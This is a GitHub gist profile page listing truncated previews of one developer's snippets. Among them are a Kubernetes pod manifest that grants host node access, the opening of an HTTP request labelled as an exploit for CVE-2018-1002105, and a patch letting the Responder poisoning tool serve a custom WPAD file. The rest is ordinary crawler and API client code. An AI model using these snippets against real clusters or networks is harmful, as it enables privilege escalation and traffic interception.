Skip to content

Instantly share code, notes, and snippets.

View abhisek's full-sized avatar
👾
Building stuff

Abhisek Datta abhisek

👾
Building stuff
View GitHub Profile
@abhisek
abhisek / pod-node-access.yml
Created November 20, 2019 10:55
Pod with Node Access
apiVersion: v1
kind: Pod
metadata:
labels:
run: ubuntu-1
name: ubuntu-1
spec:
hostPID: true
hostIPC: true
hostNetwork: true
@abhisek
abhisek / mongo-api-client.js
Created July 5, 2019 09:54
Mongo Cloud Atlas Events API to Elasticsearch
'use strict'
const MONGO_ATLAS_USERNAME = 'USER'
const MONGO_ATLAS_APIKEY = 'APIKEY'
const MONGO_ATLAS_STAGING_GROUP_ID = 'ID1'
const MONGO_ATLAS_PRODUCTION_GROUP_ID = 'ID2'
const MONGO_ATLAS_EVENTS_API = 'https://cloud.mongodb.com/api/atlas/v1.0/groups/{{GROUP-ID}}/events'
@abhisek
abhisek / gist:3ef7f1e208d46771cb79b6440028b787
Created December 7, 2018 18:14
Kubernetes Exploit CVE-2018–1002105
GET /api/v1/namespaces/mynamespace/pods/cool-79b76569d9-wxsvs/exec HTTP/1.1
Authorization: Bearer $TOKEN
Host: 192.168.12.10:6443
Connection: upgrade
Upgrade: websocket
@abhisek
abhisek / responder-wpad-file-patch
Created June 19, 2018 05:45
Responder patch to serve wpad.dat from file
diff --git a/Responder.conf b/Responder.conf
index 4303df6..0d32158 100644
--- a/Responder.conf
+++ b/Responder.conf
@@ -78,6 +78,8 @@ ExeDownloadName = ProxyClient.exe
; Custom WPAD Script
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
+WPADScriptFile = /tmp/wpad3.dat
+
@abhisek
abhisek / d11-crawler-sol.rb
Created September 19, 2017 12:11
Solution for D11 crawler problem
require 'rubygems'
require 'bundler'
Bundler.require(:default)
require 'nokogiri'
require 'uri'
require 'set'
BASE_URL = 'http://127.0.0.1:8000/'
ruby -r json -r "net/http" -e "puts JSON.parse(Net::HTTP.get_response(URI.parse('http://127.0.0.1:8000/graph.json')).body).map {|e| e[1]['codes']}.flatten.sort.first"
@abhisek
abhisek / Dockerfile
Created September 17, 2017 11:04
jsfoo crawler solution
FROM node:slim
RUN mkdir /app
ADD . /app
WORKDIR /app
RUN npm install
EXPOSE 8000
CMD npm start
class DataServiceClient
def initialize(customer_id)
raise "Invalid Customer Id" if customer_id.to_i.zero?
@customer_id = customer_id.to_i
@client = RestClient::Resource.new(ENV['DATA_API_URL'] + '/customers/' + @customer_id.to_s,
:headers => { 'X-Access-Token' => ENV['DATA_API_KEY'], 'Accept' => 'application/json' })
end
def info
get '/info' do
@data_service.info.to_json
end
def decode_jwt(id_token)
id_token = id_token.slice(7 .. -1) if id_token =~ /^Bearer/i
JWT.decode id_token, ENV['AUTH0_CLIENT_SECRET'], true,
algorithm: ENV['AUTH0_JWT_ALGO'], verify_iss: true,
aud: ENV['AUTH0_CLIENT_ID'],
verify_aud: true
end
before do